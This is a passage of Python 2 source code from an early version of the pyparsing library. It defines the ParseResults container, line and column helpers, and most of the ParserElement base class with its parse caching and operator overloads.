        return "RecursiveGrammarException: %s" % self.parseElementTrace

class _ParseResultsWithOffset(object):
    def __init__(self,p1,p2):
        self.tup = (p1,p2)
    def __getitem__(self,i):
        return self.tup[i]
    def __repr__(self):
        return repr(self.tup)

class ParseResults(object):
    """Structured parse results, to provide multiple means of access to the parsed data:
       - as a list (len(results))
       - by list index (results[0], results[1], etc.)
       - by attribute (results.<resultsName>)
       """
    __slots__ = ( "__toklist", "__tokdict", "__doinit", "__name", "__parent", "__accumNames", "__weakref__" )
    def __new__(cls, toklist, name=None, asList=True, modal=True ):
        if isinstance(toklist, cls):
            return toklist
        retobj = object.__new__(cls)
        retobj.__doinit = True
        return retobj

    # Performance tuning: we construct a *lot* of these, so keep this
    # constructor as small and fast as possible
    def __init__( self, toklist, name=None, asList=True, modal=True ):
        if self.__doinit:
            self.__doinit = False
            self.__name = None
            self.__parent = None
            self.__accumNames = {}
            if isinstance(toklist, list):
                self.__toklist = toklist[:]
            else:
                self.__toklist = [toklist]
            self.__tokdict = dict()

        # this line is related to debugging the asXML bug
        #~ asList = False
        
        if name:
            if not modal:
                self.__accumNames[name] = 0
            if isinstance(name,int):
                name = _ustr(name) # will always return a str, but use _ustr for consistency
            self.__name = name
            if not toklist in (None,'',[]):
                if isinstance(toklist,__BASE_STRING__): 
                    toklist = [ toklist ]
                if asList:
                    if isinstance(toklist,ParseResults):
                        self[name] = _ParseResultsWithOffset(toklist.copy(),-1)
                    else:
                        self[name] = _ParseResultsWithOffset(ParseResults(toklist[0]),-1)
                    self[name].__name = name
                else:
                    try:
                        self[name] = toklist[0]
                    except (KeyError,TypeError):
                        self[name] = toklist

    def __getitem__( self, i ):
        if isinstance( i, (int,slice) ):
            return self.__toklist[i]
        else:
            if i not in self.__accumNames:
                return self.__tokdict[i][-1][0]
            else:
                return ParseResults([ v[0] for v in self.__tokdict[i] ])

    def __setitem__( self, k, v ):
        if isinstance(v,_ParseResultsWithOffset):
            self.__tokdict[k] = self.__tokdict.get(k,list()) + [v]
            sub = v[0]
        elif isinstance(k,int):
            self.__toklist[k] = v
            sub = v
        else:
            self.__tokdict[k] = self.__tokdict.get(k,list()) + [_ParseResultsWithOffset(v,0)]
            sub = v
        if isinstance(sub,ParseResults):
            sub.__parent = wkref(self)
        
    def __delitem__( self, i ):
        if isinstance(i,(int,slice)):
            mylen = len( self.__toklist )
            del self.__toklist[i]
            
            # convert int to slice
            if isinstance(i, int):
                if i < 0:
                    i += mylen
                i = slice(i, i+1)
            # get removed indices
            removed = range(*i.indices(mylen))
            removed.reverse()
            # fixup indices in token dictionary
            for name in self.__tokdict.keys():
                occurrences = self.__tokdict[name]
                for j in removed:
                    for k, (value, position) in enumerate(occurrences):
                        occurrences[k] = _ParseResultsWithOffset(value, position - (position > j))
        else:
            del self.__tokdict[i]

    def __contains__(self, k):
        return k in self.__tokdict

    def __len__( self ): return len( self.__toklist )
    def __bool__(self): return len( self.__toklist ) > 0
    def __nonzero__( self ): return self.__bool__()
    def __iter__( self ): return iter( self.__toklist )
    def __reversed__( self ): return iter( reversed(self.__toklist) )
    def keys( self ):
        """Returns all named result keys."""
        return self.__tokdict.keys()

    def pop( self, index=-1 ):
        """Removes and returns item at specified index (default=last).
           Will work with either numeric indices or dict-key indicies."""
        ret = self[index]
        del self[index]
        return ret

    def get(self, key, defaultValue=None):
        """Returns named result matching the given key, or if there is no
           such name, then returns the given defaultValue or None if no
           defaultValue is specified."""
        if key in self:
            return self[key]
        else:
            return defaultValue

    def insert( self, index, insStr ):
        self.__toklist.insert(index, insStr)
        # fixup indices in token dictionary
        for name in self.__tokdict.keys():
            occurrences = self.__tokdict[name]
            for k, (value, position) in enumerate(occurrences):
                occurrences[k] = _ParseResultsWithOffset(value, position + (position > j))

    def items( self ):
        """Returns all named result keys and values as a list of tuples."""
        return [(k,self[k]) for k in self.__tokdict.keys()]

    def values( self ):
        """Returns all named result values."""
        return [ v[-1][0] for v in self.__tokdict.values() ]

    def __getattr__( self, name ):
        if name not in self.__slots__:
            if self.__tokdict.has_key( name ):
                if name not in self.__accumNames:
                    return self.__tokdict[name][-1][0]
                else:
                    return ParseResults([ v[0] for v in self.__tokdict[name] ])
            else:
                return ""
        return None

    def __add__( self, other ):
        ret = self.copy()
        ret += other
        return ret

    def __iadd__( self, other ):
        if other.__tokdict:
            offset = len(self.__toklist)
            addoffset = ( lambda a: (a<0 and offset) or (a+offset) )
            otheritems = other.__tokdict.items()
            otherdictitems = [(k, _ParseResultsWithOffset(v[0],addoffset(v[1])) )
                                for (k,vlist) in otheritems for v in vlist]
            for k,v in otherdictitems:
                self[k] = v
                if isinstance(v[0],ParseResults):
                    v[0].__parent = wkref(self)
        self.__toklist += other.__toklist
        self.__accumNames.update( other.__accumNames )
        del other
        return self

    def __repr__( self ):
        return "(%s, %s)" % ( repr( self.__toklist ), repr( self.__tokdict ) )

    def __str__( self ):
        out = "["
        sep = ""
        for i in self.__toklist:
            if isinstance(i, ParseResults):
                out += sep + _ustr(i)
            else:
                out += sep + repr(i)
            sep = ", "
        out += "]"
        return out

    def _asStringList( self, sep='' ):
        out = []
        for item in self.__toklist:
            if out and sep:
                out.append(sep)
            if isinstance( item, ParseResults ):
                out += item._asStringList()
            else:
                out.append( _ustr(item) )
        return out

    def asList( self ):
        """Returns the parse results as a nested list of matching tokens, all converted to strings."""
        out = []
        for res in self.__toklist:
            if isinstance(res,ParseResults):
                out.append( res.asList() )
            else:
                out.append( res )
        return out

    def asDict( self ):
        """Returns the named parse results as dictionary."""
        return dict( self.items() )

    def copy( self ):
        """Returns a new copy of a ParseResults object."""
        ret = ParseResults( self.__toklist )
        ret.__tokdict = self.__tokdict.copy()
        ret.__parent = self.__parent
        ret.__accumNames.update( self.__accumNames )
        ret.__name = self.__name
        return ret

    def asXML( self, doctag=None, namedItemsOnly=False, indent="", formatted=True ):
        """Returns the parse results as XML. Tags are created for tokens and lists that have defined results names."""
        nl = "\n"
        out = []
        namedItems = dict( [ (v[1],k) for (k,vlist) in self.__tokdict.items()
                                                            for v in vlist ] )
        nextLevelIndent = indent + "  "

        # collapse out indents if formatting is not desired
        if not formatted:
            indent = ""
            nextLevelIndent = ""
            nl = ""

        selfTag = None
        if doctag is not None:
            selfTag = doctag
        else:
            if self.__name:
                selfTag = self.__name

        if not selfTag:
            if namedItemsOnly:
                return ""
            else:
                selfTag = "ITEM"

        out += [ nl, indent, "<", selfTag, ">" ]

        worklist = self.__toklist
        for i,res in enumerate(worklist):
            if isinstance(res,ParseResults):
                if i in namedItems:
                    out += [ res.asXML(namedItems[i],
                                        namedItemsOnly and doctag is None,
                                        nextLevelIndent,
                                        formatted)]
                else:
                    out += [ res.asXML(None,
                                        namedItemsOnly and doctag is None,
                                        nextLevelIndent,
                                        formatted)]
            else:
                # individual token, see if there is a name for it
                resTag = None
                if i in namedItems:
                    resTag = namedItems[i]
                if not resTag:
                    if namedItemsOnly:
                        continue
                    else:
                        resTag = "ITEM"
                xmlBodyText = xml.sax.saxutils.escape(_ustr(res))
                out += [ nl, nextLevelIndent, "<", resTag, ">",
                                                xmlBodyText,
                                                "</", resTag, ">" ]

        out += [ nl, indent, "</", selfTag, ">" ]
        return "".join(out)

    def __lookup(self,sub):
        for k,vlist in self.__tokdict.items():
            for v,loc in vlist:
                if sub is v:
                    return k
        return None

    def getName(self):
        """Returns the results name for this token expression."""
        if self.__name:
            return self.__name
        elif self.__parent:
            par = self.__parent()
            if par:
                return par.__lookup(self)
            else:
                return None
        elif (len(self) == 1 and
               len(self.__tokdict) == 1 and
               self.__tokdict.values()[0][0][1] in (0,-1)):
            return self.__tokdict.keys()[0]
        else:
            return None

    def dump(self,indent='',depth=0):
        """Diagnostic method for listing out the contents of a ParseResults.
           Accepts an optional indent argument so that this string can be embedded
           in a nested display of other data."""
        out = []
        out.append( indent+_ustr(self.asList()) )
        keys = self.items()
        keys.sort()
        for k,v in keys:
            if out:
                out.append('\n')
            out.append( "%s%s- %s: " % (indent,('  '*depth), k) )
            if isinstance(v,ParseResults):
                if v.keys():
                    #~ out.append('\n')
                    out.append( v.dump(indent,depth+1) )
                    #~ out.append('\n')
                else:
                    out.append(_ustr(v))
            else:
                out.append(_ustr(v))
        #~ out.append('\n')
        return "".join(out)

    # add support for pickle protocol
    def __getstate__(self):
        return ( self.__toklist,
                 ( self.__tokdict.copy(),
                   self.__parent is not None and self.__parent() or None,
                   self.__accumNames,
                   self.__name ) )

    def __setstate__(self,state):
        self.__toklist = state[0]
        self.__tokdict, \
        par, \
        inAccumNames, \
        self.__name = state[1]
        self.__accumNames = {}
        self.__accumNames.update(inAccumNames)
        if par is not None:
            self.__parent = wkref(par)
        else:
            self.__parent = None


def col (loc,strg):
    """Returns current column within a string, counting newlines as line separators.
   The first column is number 1.

   Note: the default parsing behavior is to expand tabs in the input string
   before starting the parsing process.  See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
   on parsing strings containing <TAB>s, and suggested methods to maintain a
   consistent view of the parsed string, the parse location, and line and column
   positions within the parsed string.
   """
    return (loc<len(strg) and strg[loc] == '\n') and 1 or loc - strg.rfind("\n", 0, loc)

def lineno(loc,strg):
    """Returns current line number within a string, counting newlines as line separators.
   The first line is number 1.

   Note: the default parsing behavior is to expand tabs in the input string
   before starting the parsing process.  See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
   on parsing strings containing <TAB>s, and suggested methods to maintain a
   consistent view of the parsed string, the parse location, and line and column
   positions within the parsed string.
   """
    return strg.count("\n",0,loc) + 1

def line( loc, strg ):
    """Returns the line of text containing loc within a string, counting newlines as line separators.
       """
    lastCR = strg.rfind("\n", 0, loc)
    nextCR = strg.find("\n", loc)
    if nextCR > 0:
        return strg[lastCR+1:nextCR]
    else:
        return strg[lastCR+1:]

def _defaultStartDebugAction( instring, loc, expr ):
    print ("Match",_ustr(expr),"at loc",loc,"(%d,%d)" % ( lineno(loc,instring), col(loc,instring) ))

def _defaultSuccessDebugAction( instring, startloc, endloc, expr, toks ):
    print ("Matched",_ustr(expr),"->",toks.asList())

def _defaultExceptionDebugAction( instring, loc, expr, exc ):
    print ("Exception raised:", _ustr(exc))

def nullDebugAction(*args):
    """'Do-nothing' debug action, to suppress debugging output during parsing."""
    pass

class ParserElement(object):
    """Abstract base level parser element class."""
    DEFAULT_WHITE_CHARS = " \n\t\r"

    def setDefaultWhitespaceChars( chars ):
        """Overrides the default whitespace chars
        """
        ParserElement.DEFAULT_WHITE_CHARS = chars
    setDefaultWhitespaceChars = staticmethod(setDefaultWhitespaceChars)

    def __init__( self, savelist=False ):
        self.parseAction = list()
        self.failAction = None
        #~ self.name = "<unknown>"  # don't define self.name, let subclasses try/except upcall
        self.strRepr = None
        self.resultsName = None
        self.saveAsList = savelist
        self.skipWhitespace = True
        self.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
        self.copyDefaultWhiteChars = True
        self.mayReturnEmpty = False # used when checking for left-recursion
        self.keepTabs = False
        self.ignoreExprs = list()
        self.debug = False
        self.streamlined = False
        self.mayIndexError = True # used to optimize exception handling for subclasses that don't advance parse index
        self.errmsg = ""
        self.modalResults = True # used to mark results names as modal (report only last) or cumulative (list all)
        self.debugActions = ( None, None, None ) #custom debug actions
        self.re = None
        self.callPreparse = True # used to avoid redundant calls to preParse
        self.callDuringTry = False

    def copy( self ):
        """Make a copy of this ParserElement.  Useful for defining different parse actions
           for the same parsing pattern, using copies of the original parse element."""
        cpy = copy.copy( self )
        cpy.parseAction = self.parseAction[:]
        cpy.ignoreExprs = self.ignoreExprs[:]
        if self.copyDefaultWhiteChars:
            cpy.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
        return cpy

    def setName( self, name ):
        """Define name for this expression, for use in debugging."""
        self.name = name
        self.errmsg = "Expected " + self.name
        if hasattr(self,"exception"):
            self.exception.msg = self.errmsg
        return self

    def setResultsName( self, name, listAllMatches=False ):
        """Define name for referencing matching tokens as a nested attribute
           of the returned parse results.
           NOTE: this returns a *copy* of the original ParserElement object;
           this is so that the client can define a basic element, such as an
           integer, and reference it in multiple places with different names.
        """
        newself = self.copy()
        newself.resultsName = name
        newself.modalResults = not listAllMatches
        return newself

    def setBreak(self,breakFlag = True):
        """Method to invoke the Python pdb debugger when this element is
           about to be parsed. Set breakFlag to True to enable, False to
           disable.
        """
        if breakFlag:
            _parseMethod = self._parse
            def breaker(instring, loc, doActions=True, callPreParse=True):
                import pdb
                pdb.set_trace()
                _parseMethod( instring, loc, doActions, callPreParse )
            breaker._originalParseMethod = _parseMethod
            self._parse = breaker
        else:
            if hasattr(self._parse,"_originalParseMethod"):
                self._parse = self._parse._originalParseMethod
        return self

    def _normalizeParseActionArgs( f ):
        """Internal method used to decorate parse actions that take fewer than 3 arguments,
           so that all parse actions can be called as f(s,l,t)."""
        STAR_ARGS = 4

        try:
            restore = None
            if isinstance(f,type):
                restore = f
                f = f.__init__
            if f.func_code.co_flags & STAR_ARGS:
                return f
            numargs = f.func_code.co_argcount
            if hasattr(f,"im_self"):
                numargs -= 1
            if restore:
                f = restore
        except AttributeError:
            try:
                # not a function, must be a callable object, get info from the
                # im_func binding of its bound __call__ method
                if f.__call__.im_func.func_code.co_flags & STAR_ARGS:
                    return f
                numargs = f.__call__.im_func.func_code.co_argcount
                if hasattr(f.__call__,"im_self"):
                    numargs -= 1
            except AttributeError:
                # not a bound method, get info directly from __call__ method
                if f.__call__.func_code.co_flags & STAR_ARGS:
                    return f
                numargs = f.__call__.func_code.co_argcount
                if hasattr(f.__call__,"im_self"):
                    numargs -= 1

        #~ print ("adding function %s with %d args" % (f.func_name,numargs))
        if numargs == 3:
            return f
        else:
            if numargs == 2:
                def tmp(s,l,t):
                    return f(l,t)
            elif numargs == 1:
                def tmp(s,l,t):
                    return f(t)
            else: #~ numargs == 0:
                def tmp(s,l,t):
                    return f()
            try:
                tmp.__name__ = f.__name__
            except AttributeError:
                # no need for special handling if attribute doesnt exist
                pass
            try:
                tmp.__doc__ = f.__doc__
            except AttributeError:
                # no need for special handling if attribute doesnt exist
                pass
            try:
                tmp.__dict__.update(f.__dict__)
            except AttributeError:
                # no need for special handling if attribute doesnt exist
                pass
            return tmp
    _normalizeParseActionArgs = staticmethod(_normalizeParseActionArgs)

    def setParseAction( self, *fns, **kwargs ):
        """Define action to perform when successfully matching parse element definition.
           Parse action fn is a callable method with 0-3 arguments, called as fn(s,loc,toks),
           fn(loc,toks), fn(toks), or just fn(), where:
            - s   = the original string being parsed (see note below)
            - loc = the location of the matching substring
            - toks = a list of the matched tokens, packaged as a ParseResults object
           If the functions in fns modify the tokens, they can return them as the return
           value from fn, and the modified list of tokens will replace the original.
           Otherwise, fn does not need to return any value.

           Note: the default parsing behavior is to expand tabs in the input string
           before starting the parsing process.  See L{I{parseString}<parseString>} for more information
           on parsing strings containing <TAB>s, and suggested methods to maintain a
           consistent view of the parsed string, the parse location, and line and column
           positions within the parsed string.
           """
        self.parseAction = map(self._normalizeParseActionArgs, list(fns))
        self.callDuringTry = ("callDuringTry" in kwargs and kwargs["callDuringTry"])
        return self

    def addParseAction( self, *fns, **kwargs ):
        """Add parse action to expression's list of parse actions. See L{I{setParseAction}<setParseAction>}."""
        self.parseAction += map(self._normalizeParseActionArgs, list(fns))
        self.callDuringTry = self.callDuringTry or ("callDuringTry" in kwargs and kwargs["callDuringTry"])
        return self

    def setFailAction( self, fn ):
        """Define action to perform if parsing fails at this expression.
           Fail acton fn is a callable function that takes the arguments
           fn(s,loc,expr,err) where:
            - s = string being parsed
            - loc = location where expression match was attempted and failed
            - expr = the parse expression that failed
            - err = the exception thrown
           The function returns no value.  It may throw ParseFatalException
           if it is desired to stop parsing immediately."""
        self.failAction = fn
        return self

    def _skipIgnorables( self, instring, loc ):
        exprsFound = True
        while exprsFound:
            exprsFound = False
            for e in self.ignoreExprs:
                try:
                    while 1:
                        loc,dummy = e._parse( instring, loc )
                        exprsFound = True
                except ParseException:
                    pass
        return loc

    def preParse( self, instring, loc ):
        if self.ignoreExprs:
            loc = self._skipIgnorables( instring, loc )
        
        if self.skipWhitespace:
            wt = self.whiteChars
            instrlen = len(instring)
            while loc < instrlen and instring[loc] in wt:
                loc += 1
                
        return loc

    def parseImpl( self, instring, loc, doActions=True ):
        return loc, []

    def postParse( self, instring, loc, tokenlist ):
        return tokenlist

    #~ @profile
    def _parseNoCache( self, instring, loc, doActions=True, callPreParse=True ):
        debugging = ( self.debug ) #and doActions )

        if debugging or self.failAction:
            #~ print ("Match",self,"at loc",loc,"(%d,%d)" % ( lineno(loc,instring), col(loc,instring) ))
            if (self.debugActions[0] ):
                self.debugActions[0]( instring, loc, self )
            if callPreParse and self.callPreparse:
                preloc = self.preParse( instring, loc )
            else:
                preloc = loc
            tokensStart = loc
            try:
                try:
                    loc,tokens = self.parseImpl( instring, preloc, doActions )
                except IndexError:
                    raise ParseException( instring, len(instring), self.errmsg, self )
            except ParseException, err:
                #~ print ("Exception raised:", err)
                if self.debugActions[2]:
                    self.debugActions[2]( instring, tokensStart, self, err )
                if self.failAction:
                    self.failAction( instring, tokensStart, self, err )
                raise
        else:
            if callPreParse and self.callPreparse:
                preloc = self.preParse( instring, loc )
            else:
                preloc = loc
            tokensStart = loc
            if self.mayIndexError or loc >= len(instring):
                try:
                    loc,tokens = self.parseImpl( instring, preloc, doActions )
                except IndexError:
                    raise ParseException( instring, len(instring), self.errmsg, self )
            else:
                loc,tokens = self.parseImpl( instring, preloc, doActions )

        tokens = self.postParse( instring, loc, tokens )

        retTokens = ParseResults( tokens, self.resultsName, asList=self.saveAsList, modal=self.modalResults )
        if self.parseAction and (doActions or self.callDuringTry):
            if debugging:
                try:
                    for fn in self.parseAction:
                        tokens = fn( instring, tokensStart, retTokens )
                        if tokens is not None:
                            retTokens = ParseResults( tokens,
                                                      self.resultsName,
                                                      asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
                                                      modal=self.modalResults )
                except ParseException, err:
                    #~ print "Exception raised in user parse action:", err
                    if (self.debugActions[2] ):
                        self.debugActions[2]( instring, tokensStart, self, err )
                    raise
            else:
                for fn in self.parseAction:
                    tokens = fn( instring, tokensStart, retTokens )
                    if tokens is not None:
                        retTokens = ParseResults( tokens,
                                                  self.resultsName,
                                                  asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
                                                  modal=self.modalResults )

        if debugging:
            #~ print ("Matched",self,"->",retTokens.asList())
            if (self.debugActions[1] ):
                self.debugActions[1]( instring, tokensStart, loc, self, retTokens )

        return loc, retTokens

    def tryParse( self, instring, loc ):
        return self._parse( instring, loc, doActions=False )[0]

    # this method gets repeatedly called during backtracking with the same arguments -
    # we can cache these arguments and save ourselves the trouble of re-parsing the contained expression
    def _parseCache( self, instring, loc, doActions=True, callPreParse=True ):
        lookup = (self,instring,loc,callPreParse,doActions)
        if lookup in ParserElement._exprArgCache:
            value = ParserElement._exprArgCache[ lookup ]
            if isinstance(value,Exception):
                if isinstance(value,ParseBaseException):
                    value.loc = loc
                raise value
            return (value[0],value[1].copy())
        else:
            try:
                value = self._parseNoCache( instring, loc, doActions, callPreParse )
                ParserElement._exprArgCache[ lookup ] = (value[0],value[1].copy())
                return value
            except ParseBaseException, pe:
                ParserElement._exprArgCache[ lookup ] = pe
                raise

    _parse = _parseNoCache

    # argument cache for optimizing repeated calls when backtracking through recursive expressions
    _exprArgCache = {}
    def resetCache():
        ParserElement._exprArgCache.clear()
    resetCache = staticmethod(resetCache)

    _packratEnabled = False
    def enablePackrat():
        """Enables "packrat" parsing, which adds memoizing to the parsing logic.
           Repeated parse attempts at the same string location (which happens
           often in many complex grammars) can immediately return a cached value,
           instead of re-executing parsing/validating code.  Memoizing is done of
           both valid results and parsing exceptions.

           This speedup may break existing programs that use parse actions that
           have side-effects.  For this reason, packrat parsing is disabled when
           you first import pyparsing.  To activate the packrat feature, your
           program must call the class method ParserElement.enablePackrat().  If
           your program uses psyco to "compile as you go", you must call
           enablePackrat before calling psyco.full().  If you do not do this,
           Python will crash.  For best results, call enablePackrat() immediately
           after importing pyparsing.
        """
        if not ParserElement._packratEnabled:
            ParserElement._packratEnabled = True
            ParserElement._parse = ParserElement._parseCache
    enablePackrat = staticmethod(enablePackrat)

    def parseString( self, instring ):
        """Execute the parse expression with the given string.
           This is the main interface to the client code, once the complete
           expression has been built.

           Note: parseString implicitly calls expandtabs() on the input string,
           in order to report proper column numbers in parse actions.
           If the input string contains tabs and
           the grammar uses parse actions that use the loc argument to index into the
           string being parsed, you can ensure you have a consistent view of the input
           string by:
            - calling parseWithTabs on your grammar before calling parseString
              (see L{I{parseWithTabs}<parseWithTabs>})
            - define your parse action using the full (s,loc,toks) signature, and
              reference the input string using the parse action's s argument
            - explicitly expand the tabs in your input string before calling
              parseString
        """
        ParserElement.resetCache()
        if not self.streamlined:
            self.streamline()
            #~ self.saveAsList = True
        for e in self.ignoreExprs:
            e.streamline()
        if self.keepTabs:
            loc, tokens = self._parse( instring, 0 )
        else:
            loc, tokens = self._parse( instring.expandtabs(), 0 )
        return tokens

    def scanString( self, instring, maxMatches=__MAX_INT__ ):
        """Scan the input string for expression matches.  Each match will return the
           matching tokens, start location, and end location.  May be called with optional
           maxMatches argument, to clip scanning after 'n' matches are found.

           Note that the start and end locations are reported relative to the string
           being parsed.  See L{I{parseString}<parseString>} for more information on parsing
           strings with embedded tabs."""
        if not self.streamlined:
            self.streamline()
        for e in self.ignoreExprs:
            e.streamline()

        if not self.keepTabs:
            instring = _ustr(instring).expandtabs()
        instrlen = len(instring)
        loc = 0
        preparseFn = self.preParse
        parseFn = self._parse
        ParserElement.resetCache()
        matches = 0
        while loc <= instrlen and matches < maxMatches:
            try:
                preloc = preparseFn( instring, loc )
                nextLoc,tokens = parseFn( instring, preloc, callPreParse=False )
            except ParseException:
                loc = preloc+1
            else:
                matches += 1
                yield tokens, preloc, nextLoc
                loc = nextLoc

    def transformString( self, instring ):
        """Extension to scanString, to modify matching text with modified tokens that may
           be returned from a parse action.  To use transformString, define a grammar and
           attach a parse action to it that modifies the returned token list.
           Invoking transformString() on a target string will then scan for matches,
           and replace the matched text patterns according to the logic in the parse
           action.  transformString() returns the resulting transformed string."""
        out = []
        lastE = 0
        # force preservation of <TAB>s, to minimize unwanted transformation of string, and to
        # keep string locs straight between transformString and scanString
        self.keepTabs = True
        for t,s,e in self.scanString( instring ):
            out.append( instring[lastE:s] )
            if t:
                if isinstance(t,ParseResults):
                    out += t.asList()
                elif isinstance(t,list):
                    out += t
                else:
                    out.append(t)
            lastE = e
        out.append(instring[lastE:])
        return "".join(map(_ustr,out))

    def searchString( self, instring, maxMatches=__MAX_INT__ ):
        """Another extension to scanString, simplifying the access to the tokens found
           to match the given parse expression.  May be called with optional
           maxMatches argument, to clip searching after 'n' matches are found.
        """
        return ParseResults([ t for t,s,e in self.scanString( instring, maxMatches ) ])

    def __add__(self, other ):
        """Implementation of + operator - returns And"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return And( [ self, other ] )

    def __radd__(self, other ):
        """Implementation of + operator when left operand is not a ParserElement"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return other + self

    def __mul__(self,other):
        if isinstance(other,int):
            minElements, optElements = other,0
        elif isinstance(other,tuple):
            if len(other)==2:
                if isinstance(other[0],int) and isinstance(other[1],int):
                    minElements, optElements = other
                    optElements -= minElements
                else:
                    raise TypeError("cannot multiply 'ParserElement' and ('%s','%s') objects", type(other[0]),type(other[1]))
            else:
                raise TypeError("can only multiply 'ParserElement' and int or (int,int) objects")
        else:
            raise TypeError("cannot multiply 'ParserElement' and '%s' objects", type(other))

        if minElements < 0:
            raise ValueError("cannot multiply ParserElement by negative value")
        if optElements < 0:
            raise ValueError("second tuple value must be greater or equal to first tuple value")
        if minElements == optElements == 0:
            raise ValueError("cannot multiply ParserElement by 0 or (0,0)")

        if (optElements):
            def makeOptionalList(n):
                if n>1:
                    return Optional(self + makeOptionalList(n-1))
                else:
                    return Optional(self)
            if minElements:
                ret = And([self]*minElements)+ makeOptionalList(optElements)
            else:
                ret = makeOptionalList(optElements)
        else:
            ret = And([self]*minElements)
        return ret

    def __rmul__(self, other):
        return self.__mul__(other)

    def __or__(self, other ):
        """Implementation of | operator - returns MatchFirst"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return MatchFirst( [ self, other ] )

    def __ror__(self, other ):
        """Implementation of | operator when left operand is not a ParserElement"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return other | self

    def __xor__(self, other ):
        """Implementation of ^ operator - returns Or"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return Or( [ self, other ] )

    def __rxor__(self, other ):
        """Implementation of ^ operator when left operand is not a ParserElement"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return other ^ self

    def __and__(self, other ):
        """Implementation of & operator - returns Each"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return Each( [ self, other ] )

    def __rand__(self, other ):
        """Implementation of & operator when left operand is not a ParserElement"""
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        if not isinstance( other, ParserElement ):
            warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
                    SyntaxWarning, stacklevel=2)
            return None
        return other & self

    def __invert__( self ):
        """Implementation of ~ operator - returns NotAny"""
        return NotAny( self )

    def __call__(self, name):
        """Shortcut for setResultsName, with listAllMatches=default::
             userdata = Word(alphas).setResultsName("name") + Word(nums+"-").setResultsName("socsecno")
           could be written as::
             userdata = Word(alphas)("name") + Word(nums+"-")("socsecno")
           """
        return self.setResultsName(name)

    def suppress( self ):
        """Suppresses the output of this ParserElement; useful to keep punctuation from
           cluttering up returned output.
        """
        return Suppress( self )

    def leaveWhitespace( self ):
        """Disables the skipping of whitespace before matching the characters in the
           ParserElement's defined pattern.  This is normally only used internally by
           the pyparsing module, but may be needed in some whitespace-sensitive grammars.
        """
        self.skipWhitespace = False
        return self

    def setWhitespaceChars( self, chars ):
        """Overrides the default whitespace chars
        """
        self.skipWhitespace = True
        self.whiteChars = chars
        self.copyDefaultWhiteChars = False
        return self

    def parseWithTabs( self ):
        """Overrides default behavior to expand <TAB>s to spaces before parsing the input string.
           Must be called before parseString when the input grammar contains elements that
           match <TAB> characters."""
        self.keepTabs = True
        return self

    def ignore( self, other ):
        """Define expression to be ignored (e.g., comments) while doing pattern
           matching; may be called repeatedly, to define multiple comment or other
           ignorable patterns.
        """
        if isinstance( other, Suppress ):
            if other not in self.ignoreExprs:
                self.ignoreExprs.append( other )
        else:
            self.ignoreExprs.append( Suppress( other ) )
        return self

    def setDebugActions( self, startAction, successAction, exceptionAction ):
        """Enable display of debugging messages while doing pattern matching."""
        self.debugActions = (startAction or _defaultStartDebugAction,
                             successAction or _defaultSuccessDebugAction,
                             exceptionAction or _defaultExceptionDebugAction)
        self.debug = True
        return self

    def setDebug( self, flag=True ):
        """Enable display of debugging messages while doing pattern matching.
           Set flag to True to enable, False to disable."""
        if flag:
            self.setDebugActions( _defaultStartDebugAction, _defaultSuccessDebugAction, _defaultExceptionDebugAction )
        else:
            self.debug = False
        return self

    def __str__( self ):
        return self.name

    def __repr__( self ):
        return _ustr(self)

    def streamline( self ):
        self.streamlined = True
        self.strRepr = None
        return self

    def checkRecursion( self, parseElementList ):
        pass

    def validate( self, validateTrace=[] ):
        """Check defined expressions for valid structure, check for infinite recursive definitions."""
        self.checkRecursion( [] )

    def parseFile( self, file_or_filename ):
        """Execute the parse expression on the given file or filename.
           If a filename is specified (instead of a file object),
           the entire file is opened, read, and closed before parsing.
        """
        try:
            file_contents = file_or_filename.read()
        except AttributeError:
            f = open(file_or_filename, "rb")
            file_contents = f.read()
            f.close()
        return self.parseString(file_contents)

    def getException(self):
        return ParseException("",0,self.errmsg,self)

    def __getattr__(self,aname):
        if aname == "myException":
            self.myException = ret = self.getException()
            return ret
        else:
            raise AttributeError, "no such attribute " + aname

    def __eq__(self,other):
        if isinstance(other, __BASE_STRING__):
            try:
                (self + StringEnd()).parseString(_ustr(other))
                return True
            except ParseException:
                return False
        else:
            return super(ParserElement,self)==other

    def __req__(self,other):
        return self == other


class Token(ParserElement):
    """Abstract ParserElement subclass, for defining atomic matching patterns."""
    def __init__( self ):
        super(Token,self).__init__( savelist=False )
        #self.myException = ParseException("",0,"",self)

    def setName(self, name):
        s = super(Token,self).setName(name)
        self.errmsg = "Expected " + self.name
        #s.myException.msg = self.errmsg
        return s


class Empty(Token):
    """An empty token, will always match."""
    def __init__( self ):
        super(Empty,self).__init__()
        self.name = "Empty"
        self.mayReturnEmpty = True
        self.mayIndexError = False


class NoMatch(Token):
    """A token that will never match."""
    def __init__( self ):
